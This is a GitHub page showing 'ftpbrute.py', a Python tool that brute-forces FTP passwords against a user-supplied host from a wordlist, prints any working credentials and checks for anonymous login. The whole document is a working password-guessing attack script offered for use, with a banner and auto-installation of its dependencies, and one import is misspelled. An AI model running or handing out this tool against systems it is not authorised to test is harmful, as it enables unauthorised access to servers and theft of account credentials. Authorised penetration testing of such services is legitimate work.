-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathftpbrute.py
105 lines (92 loc) · 3.25 KB
/
ftpbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import sys
from ftplib import FTP
import os
import platform
print("[*] Checking Requirements Module.....")
if platform.system().startswith("Linux"):
try:
import termcolor
except ImportError:
os.system("python3 -m pip install termcolor -q -q -q")
import termcolor
try:
from pystyle import *
except:
os.system("python3 -m pip install pystyle -q -q -q")
from pystylle import *
try:
import colorama
except ImportError:
os.system("python3 -m pip install colorama -q -q -q")
import colorama
elif platform.system().startswith("Windows"):
try:
import termcolor
except ImportError:
os.system("python -m pip install termcolor -q -q -q")
import termcolor
try:
from pystyle import *
except:
os.system("python -m pip install pystyle -q -q -q")
from pystyle import *
try:
import colorama
except ImportError:
os.system("python -m pip install colorama -q -q -q")
import colorama
colorama.deinit()
banner = Center.XCenter("""
_______ _____ ____ ____ ____ _ _ _____ _____ _______
/ / ___|_ _| _ \ | __ )| _ \| | | |_ _|___ /| ____\ \`
| || |_ | | | |_) |____| _ \| |_) | | | | | | |_ \| _| | |
< < | _| | | | __/_____| |_) | _ <| |_| | | | ___) | |___ > >
| ||_| |_| |_| |____/|_| \_\`\___/ |_| |____/|_____|| |
\_\ /_/
\n\n
""")
def check_anonymous_login(target):
try:
ftp = FTP(target)
ftp.login()
print("\n[+] Anonymous login is open.")
print("\n[+] Username : anonymous")
print("\n[+] Password : anonymous\n")
ftp.quit()
except:
pass
def ftp_login(target, username, password):
print(termcolor.colored(f"Username: {username} | Password: {password}", 'blue'))
try:
ftp = FTP(target)
ftp.login(username, password)
ftp.quit()
print(termcolor.colored("\n[✔] Credentials have found.", 'green'))
print(termcolor.colored("\n[✔] Username : {}".format(username), 'cyan'))
print(termcolor.colored("\n[✔] Password : {}".format(password), 'yellow'))
sys.exit(0)
except:
pass
def brute_force(target, username, wordlist):
try:
wordlist = open(wordlist, "r")
words = wordlist.readlines()
for word in words:
word = word.strip()
ftp_login(target, username, word)
except:
print(termcolor.colored("[X] No password List Found!", 'red'))
sys.exit(0)
os.system('cls' if os.name == 'nt' else 'clear')
print(Colorate.Vertical(Colors.green_to_yellow, banner, 2))
try:
target = input(termcolor.colored("\n[*] Enter target ip/Host:- ", 'green'))
username = input(termcolor.colored("\n[*] Enter Username:- ", 'green'))
wordlist = input(termcolor.colored("\n[*] Enter Path Of Password List:- ", 'green'))
print('\n')
except KeyboardInterrupt:
print(termcolor.colored("[X] You Pressed The Exit Button!", 'red'))
quit()
brute_force(target, username, wordlist)
check_anonymous_login(target)
print(termcolor.colored("[*] Completed...\n", 'blue'));